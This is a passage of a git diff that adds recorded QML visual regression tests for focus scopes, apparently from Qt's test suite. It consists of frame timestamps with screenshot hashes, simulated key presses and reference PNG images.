"cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3328 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3344 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3360 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3376 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3392 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3408 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3424 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3440 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3456 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3472 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3488 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3504 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3520 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3536 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3552 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3568 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3584 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3600 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3616 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3632 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3648 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3664 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3680 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3696 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3712 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3728 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3744 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3760 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3776 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3792 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3808 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3824 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3840 + image: "test.3.png" + } + Frame { + msec: 3856 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3872 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3888 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3904 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3920 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3936 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3952 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3968 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 3984 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4000 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4016 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4032 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4048 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4064 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4080 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4096 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4112 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4128 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4144 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4160 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4176 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4192 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4208 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4224 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4240 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4256 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4272 + hash: "9157e592069482e801a091aa69758d26" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4288 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4304 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4320 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4336 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4352 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4368 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4384 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4400 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4416 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4432 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4448 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4464 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4480 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4496 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4512 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4528 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4544 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4560 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4576 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4592 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4608 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4624 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4640 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4656 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4672 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4688 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4704 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4720 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4736 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4752 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4768 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 4784 + hash: "9157e592069482e801a091aa69758d26" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4800 + image: "test.4.png" + } + Frame { + msec: 4816 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4832 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4848 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4864 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4880 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4896 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4912 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4928 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4944 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4960 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4976 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 4992 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5008 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5024 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5040 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5056 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5072 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5088 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5104 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5120 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5136 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5152 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5168 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5184 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5200 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5216 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5232 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5248 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5264 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5280 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5296 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5312 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5328 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5344 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5360 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5376 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5392 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5408 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5424 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5440 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5456 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5472 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5488 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5504 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5520 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5536 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5552 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5568 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5584 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5600 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5616 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5632 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5648 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5664 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5680 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5696 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5712 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5728 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5744 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5760 + image: "test.5.png" + } + Frame { + msec: 5776 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5792 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 5808 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5824 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5840 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5856 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5872 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 5888 + hash: "0de58b2460574baf17912e90ba8a89b2" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.0.png new file mode 100644 index 0000000..6be7aef Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.1.png new file mode 100644 index 0000000..6be7aef Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.qml new file mode 100644 index 0000000..7170907 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.qml @@ -0,0 +1,607 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 32 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 48 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 64 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 80 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 96 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 112 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 128 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 144 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 160 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 176 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 192 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 208 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 224 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 240 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 256 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 272 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 288 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 304 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 320 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 336 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 352 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 368 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 384 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 400 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 416 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 432 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 448 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 464 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 480 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 496 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 512 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 528 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 544 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 560 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 576 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 592 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 608 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 624 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 640 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 656 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 672 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 688 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 704 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 720 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 736 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 752 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 768 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 784 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 800 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 816 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 832 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 848 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 864 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 880 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 896 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 912 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 928 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 944 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 960 + image: "test2.0.png" + } + Frame { + msec: 976 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 992 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1008 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1024 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1040 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1056 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1072 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1088 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1104 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1120 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1136 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1152 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1168 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1184 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1200 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1216 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1232 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1248 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1264 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1280 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1296 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1312 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1328 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1344 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1360 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1376 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1392 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1408 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1424 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1440 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1456 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1472 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1488 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1504 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1520 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1536 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1552 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1568 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1584 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1600 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1616 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1632 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1648 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1664 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1680 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1696 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1712 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1728 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1744 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1760 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1776 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1792 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1808 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1824 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1840 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1856 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1872 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1888 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1904 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1920 + image: "test2.1.png" + } + Frame { + msec: 1936 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1952 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1968 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 1984 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2000 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2016 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2032 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2048 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2064 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2080 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2096 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2112 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2128 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2144 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2160 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2176 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2192 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2208 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2224 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2240 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2256 + hash: "529409797f67656145ea88544bb8cc9f" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2288 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2304 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2320 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2336 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2352 + hash: "529409797f67656145ea88544bb8cc9f" + } + Frame { + msec: 2368 + hash: "529409797f67656145ea88544bb8cc9f" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.0.png new file mode 100644 index 0000000..5f93c67 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.1.png new file mode 100644 index 0000000..3b4e0e6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.2.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.2.png new file mode 100644 index 0000000..54a3934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.3.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.3.png new file mode 100644 index 0000000..4f08fd2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.4.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.4.png new file mode 100644 index 0000000..9aee1f8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.5.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.5.png new file mode 100644 index 0000000..04eb05c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.6.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.6.png new file mode 100644 index 0000000..54a3934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.6.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.7.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.7.png new file mode 100644 index 0000000..3b4e0e6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.7.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.8.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.8.png new file mode 100644 index 0000000..2df55df Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.8.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.9.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.9.png new file mode 100644 index 0000000..91816fd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.9.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.qml new file mode 100644 index 0000000..b1f628f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.qml @@ -0,0 +1,2879 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 32 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 48 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 64 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 80 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 96 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 112 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 128 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 144 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 160 + hash: 